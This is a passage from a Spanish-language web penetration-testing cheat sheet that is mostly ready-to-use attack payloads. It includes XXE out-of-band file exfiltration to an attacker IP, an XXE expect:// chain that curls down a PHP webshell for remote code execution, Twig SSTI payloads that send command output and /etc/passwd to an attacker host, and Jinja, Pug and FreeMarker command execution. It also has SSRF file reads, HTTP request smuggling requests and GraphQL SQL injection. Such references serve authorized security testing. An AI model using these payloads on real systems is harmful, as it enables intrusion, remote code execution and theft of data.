python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Lectura de archivo.

```xml
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
]>
```

### Lectura de archivo basado en XInclude

```xml
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hosts"/></root>
```

### Lectura de archivo out-of-band (OOB)

#### HTTP <a href="#lectura-de-archivo-out-of-bound-blind-http" id="lectura-de-archivo-out-of-bound-blind-http"></a>

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % oob "<!ENTITY &#37; exfil SYSTEM 'http://<attacker-IP-address>/?content=%file;'>" >
```

{% endcode %}

Habilitación de servidor PHP.

```sh
php -S 0.0.0.0:80
```

Lectura de archivo.

```xml
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
    %exfil;
]>
<root></root>
```

#### PHP (protocol) <a href="#lectura-de-archivo-out-of-bound-blind-php-protocol" id="lectura-de-archivo-out-of-bound-blind-php-protocol"></a>

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<attacker-IP-address>/?content=%file;'>">
```

{% endcode %}

Creación de archivo `index.php`.

{% code title="index.php" %}

```php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

{% endcode %}

Habilitación de servidor PHP.

```sh
php -S 0.0.0.0:80
```

Lectura de archivo.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
]>
<root>&content;</root>
```

## XML external entity (XXE) injection a Remote Code Execution (RCE)

### Wrapper expect://

Creación de webshell.

{% code title="webshell.php" %}

```php
<?php system($_GET['cmd']); ?>
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `webshell.php`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Ejecución de cURL para descargar archivo `webshell.php` en el servidor.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'<attacker-IP-address>/webshell.php'">
]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

Ejecución de comandos.

```sh
http://<target>/webshell.php?cmd=id
```


# CRLF injection

| Descripción          | Carácter | ASCII (Dec) | Hex    | URL Encoded |
| -------------------- | -------- | ----------- | ------ | ----------- |
| Carriage Return (CR) | \r       | 13          | 0x0D   | %0D         |
| Line Feed (LF)       | \n       | 10          | 0x0A   | %0A         |
| CRLF                 | \r\n     | 13 10       | 0x0D0A | %0D%0A      |

## Log injection

```sh
# Log poisoning
%0D%0A<?php system($_GET['cmd']); ?>
```

## HTTP response splitting

```sh
# HTTP header
%0D%0AHeader-Test: value-test
# XSS
%0D%0A%0D%0A<html><script>alert(1)</script></html>
# HTTP header Content-Type + XSS
%0D%0AContent-Type: text/html%0D%0A%0D%0A<html><script>alert(1)</script></html>
```

## SMTP header injection

```sh
# SMTP header
%0D%0AHeader-Test: value-test
## URL encoder
%0D%0AHeader-Test:+value-test

# SMTP header Cc
%0D%0ACc: email@attacker.com
%0D%0ACc: email@attacker.com%0D%0ADoesNotExist: True
## URL encoder
%0D%0ACc:+email%40attacker.com
%0D%0ACc:+email%40attacker.com%0D%0ADoesNotExist:+True
```

## Herramientas

### CRLFsuite

* <https://github.com/Raghavd3v/CRLFsuite>

```sh
crlfsuite -t http://<target>/param1=value1&param2=value2
```


# XPath injection

XML Path Language (XPath) injection

## Identificación

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xpath-injection/common-xpath-injection-payloads.txt>

## Authentication bypass

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xpath-injection/xpath-injection-authentication-bypass.txt>

## Data exfiltration

```
invalid') or ('1'='1
 | //text()
..//text()
../..//text()
../../..//text()
../../../..//text()
../../../../..//text()
1234 or contains(.,'<text-to-search>')
```

### Schema depth

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xpath-injection/xpath_schema_depth_generator.py>

```
| /*[1]
| /*[1]/*[1]
| /*[1]/*[2]
| /*[1]/*[3]
| /*[1]/*[1]/*[1]
| /*[1]/*[1]/*[2]
| /*[1]/*[1]/*[3]
| /*[1]/*[2]/*[1]
| /*[1]/*[2]/*[2]
| /*[1]/*[2]/*[3]
| /*[1]/*[3]/*[1]
| /*[1]/*[3]/*[2]
| /*[1]/*[3]/*[3]
```

### Blind

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xpath-injection/xpath_injection_blind.py>

## Herramientas

### XCat

* <https://github.com/orf/xcat>

{% hint style="info" %}
Especificar al parámetro vulnerable (`<vulnerable-param>`) un valor de muestra que conduzca a un resultado positivo (`<true-condition>`).
{% endhint %}

```sh
# GET
xcat run -m GET http://<target>/index.php <vulnerable-param> <param1>=<value1> <param2>=<value2> --true-string=<true-condition> --headers=<headers.txt>
# POST
xcat run -m POST http://<target>/index.php <vulnerable-param> <param1>=<value1> <param2>=<value2> --true-string=<true-condition> --encode=form --headers=<headers.txt>
```


# LDAP injection

## Authentication bypass

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/ldap-injection/ldap-injection-authentication-bypass.txt>

## Data exfiltration

### Blind

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/ldap-injection/ldap_injection_blind.py>


# PDF injection

## Identificación de librería de generación de PDF

```sh
exiftool file.pdf
pdfinfo file.pdf
```

## JavaScript execution

```html
<script>document.write('test')</script>
<script>document.write(window.location)</script>
```

## Server-side request forgery (SSRF)

```html
<img src="http://<attacker-IP-address>/test"/>
<link rel="stylesheet" href="http://<attacker-IP-address>/test"/>
<iframe src="http://<attacker-IP-address>/test"></iframe>
<iframe src="http://127.0.0.1:80/api/" width="800" height="400"></iframe>
```

## Local file inclusion (LFI)

Con ejecución de JavaScript.

```html
<script>
	function addNewLines(str) {
		var result = '';
		while (str.length > 0) {
		    result += str.substring(0, 100) + '\n';
			str = str.substring(100);
		}
		return result;
	}

	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(addNewLines(btoa(this.responseText)))
	};
	x.open("GET", "file:///etc/passwd");
	x.send();
</script>
```

Sin ejecución de JavaScript.

```html
<iframe src="file:///etc/passwd" width="800" height="400"></iframe>
<object data="file:///etc/passwd" width="800" height="400">
<portal src="file:///etc/passwd" width="800" height="400">
```

Sin ejecución de JavaScript + SSRF.

{% code title="redirector.php" %}

```php
<?php header('Location: file://' . $_GET['url']); ?>
```

{% endcode %}

```html
<iframe src="http://<attacker-IP-address>/redirector.php?url=%2fetc%2fpasswd" width="800" height="400"></iframe>
```

Anotaciones y adjuntos.

```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />

# PD4ML
<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>
```


# Server-side template injection (SSTI)

## Template engines

| Template engine   | Lenguaje          | Server / client side     |
| ----------------- | ----------------- | ------------------------ |
| Twig              | PHP               | Server side              |
| Apache FreeMarker | Java (usualmente) | Server side              |
| Jinja             | Python            | Server side              |
| Pug / Jade        | JavaScript        | Server side (usualmente) |
| Handlebars        | JavaScript        | Server and client side   |
| Mustache          | Varios            | Server and client side   |

## Identificación general de SSTI

```sh
# payloads general
{1234*2}
{1234+1234}
%{1234*2}
%{1234+1234}
<%= 1234*2 %>
<%= 1234+1234 %>
${1234*2}
${1234+1234}
{{1234*2}}
{{1234+1234}}
#{1234*2}
#{1234+1234}
@{1234*2}
@{1234+1234}
@(1234*2)
@(1234+1234)

# identificación
2468
2,468
2.468
<2468>

# payloads error
${{<%[%'"}}%\.
<%= foobar %>
```

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/ssti/common-ssti-payloads.txt>
* [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection).

### Arbol de decisión para la identificación del motor de plantilla

<figure><img src="https://3737064856-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZ9PVDmFKlc3OjCT8nHe3%2Fuploads%2FXv2y4XdQM7PYAfJCKIkD%2Fdecision-tree-for-template-engine-identification-SSTI.png?alt=media&amp;token=ee4e22c5-8f71-49ca-b355-3924e25d38b3" alt=""><figcaption><p>Arbol de decisión para la identificación del motor de plantilla</p></figcaption></figure>

## Twig

Identificación general.

```twig
{{1234*'2'}}
2468
{{-2468-}}
2468
```

Payloads generales.

```twig
{{1234*2}}
{{1234*'2'}}
{{1234+1234}}
{{1234+'1234'}}
{{-2468-}}
{{[0]|reduce('system','id')}}
{{[0]|reduce('passthru','id')}}
{{[0]|reduce('system','cat /etc/passwd')}}
{{[0]|reduce('passthru','cat /etc/passwd')}}
{{['id']|filter('system')}}
{{['id']|filter('passthru')}}
{{['cat /etc/passwd']|filter('system')}}
{{['cat /etc/passwd']|filter('passthru')}}
{{['id']|map('system')|join}}
{{['id']|map('passthru')}}
{{['cat /etc/passwd']|map('system')|join}}
{{['cat /etc/passwd']|map('passthru')|join}}
```

### Out-of-band (OOB)

Habilitación de servidor HTTP.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Identificación de SSTI out of bound (blind).

```twig
{{[0]|reduce('system','curl http://<attacker-IP-address>/oob')}}
```

Ejecución de comandos.

```twig
{% set output %}
{{[0]|reduce('system','id')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}
```

Lectura de archivos.

```twig
{% set output %}
{{[0]|reduce('system','cat /etc/passwd')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}
```

## Apache FreeMarker

Identificación general.

```ftl
${1234*2}
2,468
2.468
```

```ftl
${1234*2}
${1234+1234}
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
```

## Jinja

Identificación general.

```django
{{"2468"*3}}
246824682468
```

```django
{{1234*2}}
{{1234+1234}}
{{config|pprint}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat /etc/passwd").read()}}{%endif%}{% endfor %}
```

## Pug / Jade

Identificación general.

```pug
#{1234*"2"}
<2468>
```

```pug
#{1234*2}
#{1234*'2'}
#{1234+1234}
#{global.process.mainModule.require('child_process').spawnSync('id').stdout}
#{global.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

## Handlebars

```handlebars
{{#each (readdir "/etc")}}
    {{this}}
{{/each}}

{{read "/etc/passwd"}}
```

## Herramientas automatizadas

### Tplmap

* <https://github.com/epinna/tplmap>

Instalación.

```sh
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install virtualenv
virtualenv -p python2 virtualenv-tplmap
source virtualenv-tplmap/bin/activate
pip install -r requirements.txt
./tplmap.py
```

Utilización de herramienta.

```sh
# Método GET
./tplmap.py -u "http://<target>/index.php?<parameter>=value*"

# Método POST
./tplmap.py -u "http://<target>" -d <parameter>="value*"

# Ejecución de comandos
--os-cmd=<command>

# Shell interactiva
--os-shell
```


# Server-side include (SSI) injection

```
# Fecha
<!--#echo var="DATE_LOCAL" -->

# Fecha de modificación de un archivo
<!--#flastmod file="index.html" -->

# Resultados de un programa CGI
<!--#include virtual="/cgi-bin/counter.pl" -->

# Incluir un archivo virtual (mismo directorio)
<!--#include virtual="index.html" -->

# Incluir un archivo (mismo directorio)
<!--#include file="index.html" -->

# Ejecutar comando
<!--#exec cmd="whoami" -->

# Imprimir todas las variables
<!--#printenv -->

# Configuración de variable
<!--#set var="name" value="MrW0l05zyn" -->
```


# Server-side parameter pollution

Truncar la cadena de consulta.

```
# GET
?param=value#truncate
?param=value%23truncate

# POST
param=value#truncate
param=value%23truncate
```

Inyección de parámetros.

```
# GET
?param=value&<parameter>
?param=value%26<parameter>

# POST
param=value&<parameter>
param=value%26<parameter>
```

Inyección de valores de parámetro.

```
# GET
?param=value&parameter=<value>
?param=value%26parameter=<value>

# POST
param=value&parameter=<value>
param=value%26parameter=<value>
```

Inyección de parámetros y valores en conversión a formato JSON por el back-end.

```
# GET
?param=value","<parameter>":"<value>
{"param":"value","parameter":"value"}

# POST
param=value","<parameter>":"<value>
{"param":"value","parameter":"value"}
```

Anulación/sustitución de parámetros existentes.

```
# GET
?param=value&param=<value>
?param=value%26param=<value>

# POST
param=value&param=<value>
param=value%26param=<value>
```

Inyección de path (API RESTful).

```
# GET
?param=value&param=value/../../<path>#
?param=value%26param=value%2f..%2f..%2f<path>%23

# POST
param=value&param=value/../../<path>#
param=value%26param=value%2f..%2f..%2f<path>%23
```

* PHP: analiza únicamente el último parámetro.
* ASP.NET: combina ambos parámetros (`value1,value2`).
* Node.js/Express: analiza únicamente el primer parámetro.


# Server-side request forgery (SSRF)

## Identificación SSRF

```sh
# Máquina atacante
nc -lvnp <listen-port>

# Ejecución desde máquina atacante
curl -i -s "http://<target>/load?page=http://<attacker-IP-address>:<listen-port>"
curl -i -s "http://<target>/load?page=file:///etc/passwd"
curl -i -s "http://<target>/load?page=file:://///etc/passwd"
curl -i -s "http://<target>/load?page=file:///c:/windows/win.ini"
curl -i -s "http://<target>/load?page=file:://///c:/windows/win.ini"
```

## Escaneo de puertos internos

Generación de archivo con números de puertos.

```bash
for port in {1..65535}; do echo $port >> ports.txt; done
```

Escaneo de puertos internos del objetivo utilizando FFuF.

```sh
# GET
ffuf -u "http://<target>/load?page=http://127.0.0.1:FUZZ" -w ports.txt -fs <size>
# POST
ffuf -u "http://<target>/load" -w ports.txt:FUZZ -X POST -d "page=http://127.0.0.1:FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fs <size>
```

## Rangos de IP privados

* 10.0.0.0/8
* 172.16.0.0/12
* 192.168.0.0/16

## Direcciones de enlace local

* Amazon Web Services (AWS): 169.254.169.254
* Google Cloud: metadata.google.internal

## Protocolos

### File

```bash
file:///etc/passwd
file:///c:/windows/win.ini
```

### Gopher

```sh
# POST
gopher://127.0.0.1:80/_POST%20/login%20HTTP/1.0%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2027%0A%0Ausername=user&password=pass
```

## Blind SSRF

### Capturar interacciones

```sh
sudo systemctl start apache2
sudo tail -f /var/log/apache2/access.log
```

* <http://pingb.in/>
* <https://app.interactsh.com/>
* <https://canarytokens.org/>
* <https://webhook.site/>
* <https://requestcatcher.com/>

## Time-based SSRF

Podemos determinar la existencia de una vulnerabilidad SSRF observando las diferencias de tiempo en las respuestas. Este método también es útil para descubrir servicios internos.&#x20;

En algunas situaciones, la aplicación puede fallar inmediatamente en lugar de tardar más en responder. Por esta razón, debemos observar cuidadosamente las diferencias de tiempo entre las solicitudes.

## Payloads

* <https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>

```
localhost
127.0.0.1
2130706433
0x7f000001
0177.0000.0000.0001
127.1
127.000000000000000.1
::1
0:0:0:0:0:0:0:1
[0:0:0:0:0:ffff:127.0.0.1]
0:0:0:0:0:ffff:127.0.0.1
[::ffff:127.0.0.1]
::ffff:127.0.0.1
localtest.me
0.0.0.0
0
```

## Redirecciones HTTP

{% code title="index.php" %}

```php
<?php header('Location: http://127.0.0.1/'); ?>
```

{% endcode %}

```sh
php -S 0.0.0.0:80
```

## DNS rebinding

* <https://lock.cmpxchg8b.com/rebinder.html>
* <https://github.com/mogwailabs/DNSrebinder>

```sh
dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udp
```

* <https://github.com/Crypt0s/FakeDns>
* <https://github.com/nccgroup/singularity>


# Web cache poisoning

## General

1\) Identificar parámetros keyed y unkeyed. Determinar cuáles parámetros son utilizados para construir la key de caché (keyed) y cuáles no lo son (unkeyed).

2\) Usar un "cache buster" para evitar envenenar a otros usuarios durante las pruebas. Emplear un método que asegure que las pruebas no impacten a otros usuarios, como añadir un parámetro único en cada solicitud.

3\) Inyectar el payload en un parámetro unkeyed. Insertar el payload en un parámetro unkeyed para lograr envenenar la caché sin afectar los parámetros keyed.

## Fat GET

1\) Identificar si el servidor procesa parámetros en el body para solicitudes GET.

2\) Verifica si los parámetros incluidos en el body de la solicitud GET tienen algún efecto en la respuesta generada por el servidor y, en particular, si estos parámetros influyen en la respuesta almacenada en la caché.

3\) Inyectar el payload en un parámetro del body de la solicitud GET que manipule el contenido de la respuesta para lograr envenenar la caché almacenada.

## Parameter cloaking

Parameter cloaking se basa en las diferencias en cómo el servidor y la caché interpretan los parámetros en una solicitud.

1\) Identificar discrepancias de la interpretación de parámetros. Enviar solicitudes con variaciones en los parámetros, con el propósito de evaluar posibles diferencias en la manera en que el servidor y la caché procesan e interpretan dichas solicitudes.

```http
GET /page?param1=value1&param2=value2
GET /page?param1=value1;param2=value2
```

2\) Identificar parámetros keyed y unkeyed. Determinar cuáles parámetros son utilizados para construir la key de caché (keyed) y cuáles no lo son (unkeyed).

3\) Inyectar el payload en un parámetro unkeyed de la solicitud que manipule el contenido de la respuesta para lograr envenenar la caché almacenada, mientras que el servidor interprete el parámetro de manera diferente o lo ignora.

## Intentar omitir la caché actual

Incorporación de HTTP headers en la solicitud para intentar omitir la caché web actual y forzar el almacenamiento de nuestra respuesta envenenada en la caché.

```http
Cache-Control: no-cache
Pragma: no-cache
```

## Herramientas

* [Web Cache Vulnerability Scanner (WCVS)](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)


# HTTP request smuggling

## Content-Length (CL)

{% code lineNumbers="true" %}

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

param1=value1&param2=value2
```

{% endcode %}

## Transfer-Encoding (TE)

{% code lineNumbers="true" %}

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

1d
param1=value1&param2=value2
0


```

{% endcode %}

```
1d\r\nparam1=value1&param2=value2\r\n0\r\n\r\n
```

## CL.TE

El proxy inverso utiliza el encabezado HTTP `Content-Length` (CL), el servidor web utiliza el encabezado HTTP `Transfer-Encoding` (TE).

Ejemplo de identificación donde la respuesta correspondiente al segundo request sea un `405 Method Not Allowed` podría revelar que es vulnerable.

{% tabs %}
{% tab title="Request 1" %}
{% code lineNumbers="true" %}

```http
POST / HTTP/1.1
Host: example.com
Content-Length: 10
Transfer-Encoding: chunked

0

HELLO
```

{% endcode %}
{% endtab %}

{% tab title="Request 2" %}
{% code lineNumbers="true" %}

```http
GET / HTTP/1.1
Host: example.com


```

{% endcode %}
{% endtab %}
{% endtabs %}

Ejemplo de explotación general.

{% code lineNumbers="true" %}

```http
POST / HTTP/1.1
Host: example.com
Content-Length: 50
Transfer-Encoding: chunked

0

POST /admin.php?param=value HTTP/1.1
Dummy: 
```

{% endcode %}

Ejemplo de explotación para obtener acceso a una ruta interna.

{% code lineNumbers="true" %}

```http
POST / HTTP/1.1
Host: example.com
Content-Length: 54
Transfer-Encoding: chunked

0

POST /internal HTTP/1.1
Host: localhost
Dummy: 
```

{% endcode %}

Ejemplo de explotación para reflected XSS en HTTP header.

{% code lineNumbers="true" %}

```http
POST / HTTP/1.1
Host: example.com
Content-Length: 81
Transfer-Encoding: chunked

0

GET / HTTP/1.1
HTTP-Header-Vulnerable: "><script>alert(1)</script>
Dummy: 
```

{% endcode %}

## TE.TE

Ofuscar el encabezado HTTP `Transfer-Encoding` (TE) en uno de los componentes para provocar una vulnerabilidad de CL.TE o TE.CL.

```sh
Transfer-Encoding: testchunked
Transfer-Encoding : chunked
Transfer-Encoding:[\x09]chunked # [\x09] = tabulación horizontal
Transfer-Encoding:[\x0b]chunked # [\x0b] = tabulación vertical
 Transfer-Encoding: chunked
```

## TE.CL

El proxy inverso utiliza el encabezado HTTP `Transfer-Encoding` (TE), el servidor web utiliza el encabezado HTTP `Content-Length` (CL).

{% hint style="info" %}
En la opción Repeater de Burp Suite, es importante desmarcar la opción "Update Content-Length", agregar los dos requests en un grupo de pestañas, y enviarlos utilizando la función "Send group in sequence (single connection)".
{% endhint %}

Ejemplo de identificación donde la respuesta correspondiente al segundo request sea un `400 Bad Request` podría revelar que es vulnerable.

{% tabs %}
{% tab title="Request 1" %}
{% code lineNumbers="true" %}

```http
GET / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked

5
HELLO
0


```

{% endcode %}
{% endtab %}

{% tab title="Request 2" %}
{% code lineNumbers="true" %}

```http
GET / HTTP/1.1
Host: example.com


```

{% endcode %}
{% endtab %}
{% endtabs %}

Ejemplo de explotación general (GET).

* 0x2a = 42 bytes

{% tabs %}
{% tab title="Request 1" %}
{% code lineNumbers="true" %}

```http
GET /404 HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

2a
GET /admin HTTP/1.1
Host: example.com


0


```

{% endcode %}
{% endtab %}

{% tab title="Request 2" %}
{% code lineNumbers="true" %}

```http
GET /404 HTTP/1.1
Host: example.com


```

{% endcode %}
{% endtab %}
{% endtabs %}

Ejemplo de explotación general (POST).

* 0x83 = 131 bytes

{% code lineNumbers="true" %}

```http
GET / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

83
POST /index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

param=value


0


```

{% endcode %}

Ejemplo de explotación para obtener acceso a una ruta interna.

* 0x2b = 43 bytes

{% tabs %}
{% tab title="Request 1" %}
{% code lineNumbers="true" %}

```http
GET /404 HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

2b
GET /internal HTTP/1.1
Host: localhost


0


```

{% endcode %}
{% endtab %}

{% tab title="Request 2" %}
{% code lineNumbers="true" %}

```http
GET /404 HTTP/1.1
Host: example.com


```

{% endcode %}
{% endtab %}
{% endtabs %}

## HTTP/2 downgrading

El proxy inverso utiliza HTTP/2, mientras que el servidor web utiliza HTTP/1.1.

### H2.CL / CL.0

El proxy inverso no valida correctamente que el encabezado HTTP `Content-Length` (CL) proporcionado sea correcto y, en su lugar, reescribe la solicitud a HTTP/1.1 utilizando el encabezado HTTP `Content-Length` (CL) defectuoso.

{% code lineNumbers="true" %}

```http
POST / HTTP/2
Host: example.com
Content-Length: 0

POST /admin.php?param=value HTTP/1.1
Host: example.com
```

{% endcode %}


# Prototype pollution

## Server-side prototype pollution

### JSON-based input

```json
{
    "__proto__":{
        "evilProperty": "evilValue"
    }
}
```

```json
{
    "constructor": {
        "prototype": {
            "evilProperty": "evilValue"
        }
    }
}
```

### Herramientas

* [Server-side prototype pollution scanner (Burp extension)](https://github.com/portswigger/server-side-prototype-pollution)

## Client-side prototype pollution

```
example.com/?__proto__[evilProperty]=evilValue
example.com/?__proto__.evilProperty=evilValue
```

En la consola del navegador, inspeccionar `Object.prototype` para verificar si la propiedad ha sido contaminada exitosamente.

```
Object.prototype
Object.prototype.evilProperty
```

### Herramientas

* [DOM Invader (Burp Suite)](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)


# Type juggling

## PHP

### strcmp

```php
username[]=admin&password[]=admin
```

{% hint style="info" %}
El comportamiento de la función `strcmp` fue modificado a partir de PHP 8.0.0, desde esta versión, se genera un error si alguno de los argumentos proporcionados no es una cadena. Por lo tanto, dicha omisión solo es válida en versiones anteriores a PHP 8.0.0.
{% endhint %}

### JSON

```json
{
    "username":"admin",
    "password":0
}
```

```json
{
    "username":"admin",
    "password":[]
}
```

### Magic hashes

```php
<?php
    $stored_hash = "0e12345678901234567890123456789012345678901234567890123456789012";
    $input = "TyNOQHUS";
    $input_hash = hash("sha256", $input); // 0e66298694359207596086558843543959518835691168370379069085300385

    if ($stored_hash == $input_hash) {
        echo "Type juggling";
    }
?>
```

* <https://github.com/spaze/hashes>


# GraphQL

## Checklist

* [ ] Consola de GraphQL expuesta (GraphQL development console).
* [ ] Introspección habilitada (GraphQL introspection).

<details>

<summary>Versiones antiguas</summary>

```graphql
query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        onOperation
        onFragment
        onField
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }

  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }

  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }
```

</details>

<details>

<summary>Versiones modernas</summary>

```graphql
query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
```

</details>

<details>

<summary>Obtener mutaciones (mutations)</summary>

```graphql
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}
```

</details>

<details>

<summary>Consultar campos (input fields) de un objeto</summary>

```graphql
{   
  __type(name: "<object-name>") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
```

</details>

* [ ] Si la introspección esta deshabilitada utilizar sugerencias de campos (GraphQL suggestions) o realizar fuzzing.

```sh
# GraphQL suggestions
clairvoyance -H "<header>: <value>" -c 1 -x "http://127.0.0.1:8080" --no-ssl -w <wordlist> -o schema.json http://<target>/graphql --progress

# Fuzzing queries
ffuf -u http://<target>/graphql -w <wordlist.txt>:FUZZ -X POST -d "{\"query\":\"query {FUZZ}\"}" -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -c -mc all -fr "Cannot query" -o ffuf-fuzzing-graphql-queries.html -of html
```

* [ ] Depuración y divulgación de información (GraphQL error handling).
* [ ] Búsqueda de IDOR (Insecure Direct Object Reference).
* [ ] Manipular “mutaciones” (mutations), las cuales se utilizan para realizar acciones de modificación de los datos.
* [ ] Ataques de inyección (Injection attacks).

```graphql
# Union-based SQLi
{"query": "{user(username: \"x' UNION SELECT 1,2,3,4-- -\"){id,name,password}}"}
## MySQL / MariaDB
{"query": "{user(username: \"x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -\"){id,name,password}}"}
```

* [ ] Ataque por lotes (Batching attack).

```graphql
# JSON list based batching
[
  {"query":"{user(username: \"user\") {id,name,password}}"},
  {"query":"{user(username: \"admin\") {id,name,password}}"},
  {"query":"{user(username: \"root\") {id,name,password}}"}
]
```

```graphql
# Query name based batching
{"query":"{
  first: user(username:\"user\"){id,name,password}
  second: user(username:\"admin\") {id,name,password}
  third: user(username:\"root\") {id,name,password}
}"}
```

* [ ] Ataque de denegación de servicio (Denial-of-Service DoS attacks).
  * [ ] Batching attack.
  * [ ] Circular reference (Deep recursion).
  * [ ] Duplicación de campo (Field duplication).

## Herramientas

### Clairvoyance

* <https://github.com/nikitastupin/clairvoyance>

```sh
clairvoyance -H "<header>: <value>" -c <concurrent-requests> -x "http://127.0.0.1:8080" --no-ssl -w <wordlist> -o schema.json http://<target>/graphql --progress
```

### graphw00f

* <https://github.com/dolevf/graphw00f>

```sh
main.py -d -f -t <target>
```

### GraphQL Cop

* <https://github.com/dolevf/graphql-cop>

```sh
graphql-cop.py -t <target>/graphql
```

### GraphQLmap

* <https://github.com/swisskyrepo/GraphQLmap>

```sh
graphqlmap.py -u <target>/graphql
```

### InQL

* <https://github.com/doyensec/inql>

### GraphQL Voyager

* <https://apis.guru/graphql-voyager/>
* <https://github.com/APIs-guru/graphql-voyager>

### Altair GraphQL Client

* <https://altair.sirmuel.design/>
